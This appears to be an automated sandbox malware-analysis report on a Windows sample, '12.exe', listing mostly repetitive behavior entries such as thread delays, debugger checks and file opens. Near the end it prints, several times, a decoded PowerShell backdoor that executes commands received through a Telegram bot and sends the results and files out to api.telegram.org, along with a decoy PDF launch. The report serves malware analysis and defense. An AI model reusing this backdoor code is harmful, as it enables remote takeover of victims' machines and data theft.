Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3694	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1878	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4632	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3770	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6592	Thread sleep count: 3694 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6592	Thread sleep count: 1878 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2556	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2556	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1096	Thread sleep count: 4632 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6152	Thread sleep count: 3770 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3356	Thread sleep count: 107 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5312	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2800	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5312	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2800	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7300	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8172	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF73A40AAE0 FindFirstFileExW,

0_2_00007FF73A40AAE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: svchost.exe, 00000007.00000002.3715759074.000001BDE4613000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3716274427.000001BDE9E57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000007.00000002.3715780094.000001BDE462B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: powershell.exe, 00000005.00000002.3965066226.000001C861F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF73A3FF45C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF73A3FF45C

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF73A3F7D74 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF73A3F7D74

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF73A40BDD4 GetProcessHeap,

0_2_00007FF73A40BDD4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A3FF45C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF73A3FF45C
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A3F8C90 SetUnhandledExceptionFilter,	0_2_00007FF73A3F8C90
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A3F8AB0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF73A3F8AB0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A3F87DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF73A3F87DC

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\12.exe	Process created: Base64 decoded $Token = "7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0"$URL = "https://api.telegram.org/bot{0}" -f $Token$lastID = 123$sleepTime = 2$identifier = -join ((48..57) \| Get-Random -Count 5 \| % {[char]$_})function Invoke-BotCmd { param ( $command ) try { $result = Invoke-Expression($command) } catch { $result = $Error[0].Exception } $res = "[$identifier]%0D%0A" $result \| ForEach-Object {$res += [string]$_ + "%0D%0A"} if($res -eq ""){ $lastID = $updateid continue } if($res.Length -gt 4095){ for ($i = 0; $i -lt $res.Length / 4095; $i++) { $begin = $i * 4095 $end = $begin + 4094 if($end -gt $res.Length){ $end = $res.Length } $data = "chat_id=$from&text=" + $res[$begin..$end] $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null } } else { $data = "chat_id=$from&text=$res" $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null }}function Invoke-BotDownload { param ( $FilePath ) Add-type -AssemblyName System.Net.Http $FieldName = 'document' $httpClientHandler = New-Object System.Net.Http.HttpClientHandler $httpClient = New-Object System.Net.Http.Httpclient $httpClientHandler $FileStream = [System.IO.FileStream]::new($FilePath,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded $Token = "7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0"$URL = "https://api.telegram.org/bot{0}" -f $Token$lastID = 123$sleepTime = 2$identifier = -join ((48..57) \| Get-Random -Count 5 \| % {[char]$_})function Invoke-BotCmd { param ( $command ) try { $result = Invoke-Expression($command) } catch { $result = $Error[0].Exception } $res = "[$identifier]%0D%0A" $result \| ForEach-Object {$res += [string]$_ + "%0D%0A"} if($res -eq ""){ $lastID = $updateid continue } if($res.Length -gt 4095){ for ($i = 0; $i -lt $res.Length / 4095; $i++) { $begin = $i * 4095 $end = $begin + 4094 if($end -gt $res.Length){ $end = $res.Length } $data = "chat_id=$from&text=" + $res[$begin..$end] $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null } } else { $data = "chat_id=$from&text=$res" $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null }}function Invoke-BotDownload { param ( $FilePath ) Add-type -AssemblyName System.Net.Http $FieldName = 'document' $httpClientHandler = New-Object System.Net.Http.HttpClientHandler $httpClient = New-Object System.Net.Http.Httpclient $httpClientHandler $FileStream = [System.IO.FileStream]::new($FilePath,
Source: C:\Users\user\Desktop\12.exe	Process created: Base64 decoded $Token = "7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0"$URL = "https://api.telegram.org/bot{0}" -f $Token$lastID = 123$sleepTime = 2$identifier = -join ((48..57) \| Get-Random -Count 5 \| % {[char]$_})function Invoke-BotCmd { param ( $command ) try { $result = Invoke-Expression($command) } catch { $result = $Error[0].Exception } $res = "[$identifier]%0D%0A" $result \| ForEach-Object {$res += [string]$_ + "%0D%0A"} if($res -eq ""){ $lastID = $updateid continue } if($res.Length -gt 4095){ for ($i = 0; $i -lt $res.Length / 4095; $i++) { $begin = $i * 4095 $end = $begin + 4094 if($end -gt $res.Length){ $end = $res.Length } $data = "chat_id=$from&text=" + $res[$begin..$end] $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null } } else { $data = "chat_id=$from&text=$res" $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null }}function Invoke-BotDownload { param ( $FilePath ) Add-type -AssemblyName System.Net.Http $FieldName = 'document' $httpClientHandler = New-Object System.Net.Http.HttpClientHandler $httpClient = New-Object System.Net.Http.Httpclient $httpClientHandler $FileStream = [System.IO.FileStream]::new($FilePath,	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded $Token = "7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0"$URL = "https://api.telegram.org/bot{0}" -f $Token$lastID = 123$sleepTime = 2$identifier = -join ((48..57) \| Get-Random -Count 5 \| % {[char]$_})function Invoke-BotCmd { param ( $command ) try { $result = Invoke-Expression($command) } catch { $result = $Error[0].Exception } $res = "[$identifier]%0D%0A" $result \| ForEach-Object {$res += [string]$_ + "%0D%0A"} if($res -eq ""){ $lastID = $updateid continue } if($res.Length -gt 4095){ for ($i = 0; $i -lt $res.Length / 4095; $i++) { $begin = $i * 4095 $end = $begin + 4094 if($end -gt $res.Length){ $end = $res.Length } $data = "chat_id=$from&text=" + $res[$begin..$end] $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null } } else { $data = "chat_id=$from&text=$res" $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null }}function Invoke-BotDownload { param ( $FilePath ) Add-type -AssemblyName System.Net.Http $FieldName = 'document' $httpClientHandler = New-Object System.Net.Http.HttpClientHandler $httpClient = New-Object System.Net.Http.Httpclient $httpClientHandler $FileStream = [System.IO.FileStream]::new($FilePath,	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf"			Jump to behavior
